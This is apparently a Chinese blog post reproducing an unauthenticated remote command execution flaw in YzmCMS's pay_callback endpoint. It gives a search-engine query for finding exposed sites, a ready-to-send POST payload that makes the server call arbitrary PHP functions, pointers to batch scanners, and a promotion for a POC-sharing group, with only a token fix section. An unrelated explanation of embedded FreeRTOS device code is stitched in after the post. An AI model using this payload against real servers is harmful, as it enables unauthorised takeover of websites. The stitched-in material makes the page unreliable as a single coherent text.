【漏洞复现】YzmCMS pay_callback 远程命令执行

0x01 产品简介

YzmCMS是一款基于YZMPHP开发的一套轻量级开源内容管理系统,YzmCMS简洁、安全、开源、免费,可运行在Linux、Windows、MacOSX、Solaris等各种平台上,专注为公司企业、个人站长快速建站提供解决方案。

0x02 漏洞概述

YzmCMS /pay/index/pay_callback.html接口存在远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。

0x03 搜索引擎

app="yzmcms"

在这里插入图片描述

0x04 漏洞复现

POST /pay/index/pay_callback.html HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
 
out_trade_no[0]=eq&out_trade_no[1]=1&out_trade_no[2]=phpinfo

PS: out_trade_no[2]处为调用的php函数,out_trade_no[1]处为函数的值

在这里插入图片描述
RCE
在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

0x06 修复建议

关闭互联网暴露面或接口设置访问权限
升级至安全版本

  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
这段代码包含了一系列函数调用和任务创建,用于初始化设备并启动相关功能。下面是每个函数调用的简要解释: 1. `xQueueCreate(10, sizeof(D_MsgData))`:创建一个队列 `g_usif_queue`,队列大小为 10,每个元素大小为 `D_MsgData` 的字节大小。 2. `d_ble_register_callback(ble_user_callback)`:注册 BLE 回调函数 `ble_user_callback`。 3. `d_sensor_data_register_callback(sensor_data_user_callback)`:注册传感器数据回调函数 `sensor_data_user_callback`。 4. `d_timer_register_callback(timer_user_callback)`:注册定时器回调函数 `timer_user_callback`。 5. `d_uart_register_callback(uart_user_callback, LOOKUP_STR_OK, LOOKUP_STR_ERR, LOOKUP_STR_NEW_MSG, CAN_SEND_DATA_2_IOT)`:注册 UART 回调函数 `uart_user_callback`,并传递一些字符串参数。 6. `d_iot_timeout_timer_register_callback(iot_timeout_timer_user_callback)`:注册物联网超时定时器回调函数 `iot_timeout_timer_user_callback`。 7. `d_acc_gpiote_interrupt_disable()`:禁用加速度计 GPIO 中断。 8. `d_lcd_display_str(D_LCD_DISPLAY_STR_BOOT, 0)`:在 LCD 上显示启动信息。 9. `d_led_light_on(D_LED_LIGHT_RED)`:点亮红色 LED 灯。 10. `nrf_delay_us(5000000)`:延迟 5000000 微秒(5秒)。 11. `d_led_light_off(D_LED_LIGHT_RED)`:关闭红色 LED 灯。 12. `d_led_uninit()`:关闭 LED 灯。 13. `d_alarm_off()`:关闭报警功能。 14. `d_acc_gpiote_interrupt_enable()`:启用加速度计 GPIO 中断。 15. `d_power_register_callback(power_off_user_callback)`:注册电源关闭回调函数 `power_off_user_callback`。 16. `d_acc_register_callback(acc_user_callback)`:注册加速度计回调函数 `acc_user_callback`。 17. `d_lcd_clean()`:清空 LCD 屏幕。 18. `xTaskCreate(d_usif_task, "d_usif_task", 256*3, g_usif_queue, 2, &xHandle_usif_task)`:创建一个任务 `d_usif_task`,任务名为 "d_usif_task",任务栈大小为 256*3 字节,传递 `g_usif_queue` 给任务作为参数,优先级为 2,并将任务句柄保存在 `xHandle_usif_task` 中。 19. `configASSERT(xHandle_usif_task)`:确保任务创建成功。 20. `d_sensor_data_send_start()`:启动传感器数据发送。 21. `d_uart_clear_data_buf()`:清空 UART 数据缓冲区。 综上所述,这段代码的作用是初始化设备和相关功能,并创建一个名为 "d_usif_task" 的任务。具体的实细节可能需要参考相关函数的定义和文档。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SuperherRo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值